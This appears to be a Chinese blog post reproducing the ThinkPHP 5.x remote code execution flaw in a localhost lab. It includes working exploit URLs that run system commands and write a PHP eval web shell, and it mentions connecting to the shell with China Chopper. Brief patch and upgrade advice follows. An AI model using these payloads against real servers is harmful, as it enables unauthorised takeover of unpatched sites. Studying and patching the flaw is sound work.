ThinkPHP遠端程式碼執行漏洞
ThinkPHP是一個快速、簡單的基於MVC和麵向物件的輕量級PHP開發框架。
Thinkphp5.x版本中存在一個嚴重的遠端程式碼執行漏洞。這個漏洞的主要原因是由於框架對控制器名沒有進行足夠的校驗導致在沒有開啟強制路由的情況下可以構造惡意語句執行遠端命令
影響範圍
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
漏洞利用
環境介紹:
thinkphp5.0.22+php5.4.45+ apache2.4.23
1.首先搭建好相應的環境,頁面訪問如下:
2.當看到框架為thinkphp5.x時,我們需要的就是驗證是否存在遠端程式碼執行漏洞
http:// localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
3.確認此處存在遠端程式碼執行後,寫入shell
http:// localhost/public/index.php?s =index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php eval(@$_POST['a']); ?>
4.嘗試用菜刀進行連線,連線成功
當然這裡我們也可以選擇直接上傳大馬
相比手工,我們也可以選擇工具直接getshell都是可以的
修復建議
1、打補丁:
Thinkphp v5.0.x補丁地址:
Thinkphp v5.1.x補丁地址:
2、更新框架版本
參考連結
exploit地址:
框架下載地址:
docker漏洞環境原始碼:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69946337/viewspace-2656866/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- ThinkPHP 5.0.23 遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- OpenWRT 曝遠端程式碼執行漏洞
- Joomla遠端程式碼執行漏洞分析OOM
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- 什麼是遠端程式碼執行漏洞?
- .NET Remoting 遠端程式碼執行漏洞探究REM
- WindowsJScript元件曝遠端程式碼執行漏洞WindowsJS元件
- log4j遠端程式碼執行漏洞
- PHP CGI Windows下遠端程式碼執行漏洞PHPWindows
- Discuz! X系列遠端程式碼執行漏洞分析
- crash_for_windows_pkg遠端程式碼執行漏洞Windows
- Apache Struts 再曝高危遠端程式碼執行漏洞Apache
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞Laravel模式
- Apache OFBiz遠端程式碼執行漏洞(CVE-2024-38856)Apache
- Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)SpringWeb
- Log4j遠端程式碼執行漏洞漫談
- CVE-2020-17530——Apache Struts遠端程式碼執行漏洞Apache
- ThinkPHP 5.x 遠端命令執行漏洞分析與復現PHP
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞網站UI
- PHP-CGI遠端程式碼執行漏洞(CVE-2012-1823)PHP
- SMB遠端程式碼執行漏洞CVE-2020-0796安全通告
- Spring Cloud Gateway 遠端程式碼執行漏洞(CVE-2022-22947)SpringCloudGateway
- ElasticSearch Groovy指令碼遠端程式碼執行漏洞分析(CVE-2015-1427)Elasticsearch指令碼
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁客戶端
- PHP-CGI遠端1程式碼執行漏洞(CVE-2012-1823)PHP
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?ApacheSolr伺服器
- PHP-fpm 遠端程式碼執行漏洞(CVE-2019-11043)分析PHP
- Apache log4j2 遠端程式碼執行漏洞復現?Apache
- Apache Kylin遠端程式碼執行漏洞復現(CVE-2020-1956)Apache
- Weblogic遠端程式碼執行漏洞(CVE-2020-14750)修復方案Web
- 關於ThinkPHP程式框架存在遠端命令執行漏洞,致使部門網站遭受攻擊PHP框架網站
- Apache SSI 遠端命令執行漏洞Apache
- WordPress 3.5.1遠端程式碼執行EXP
- Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦Windows
- 高危漏洞!Apache Log4j 遠端程式碼執行漏洞(附修復建議)Apache
- 嚴重 PHP 漏洞導致伺服器遭受遠端程式碼執行PHP伺服器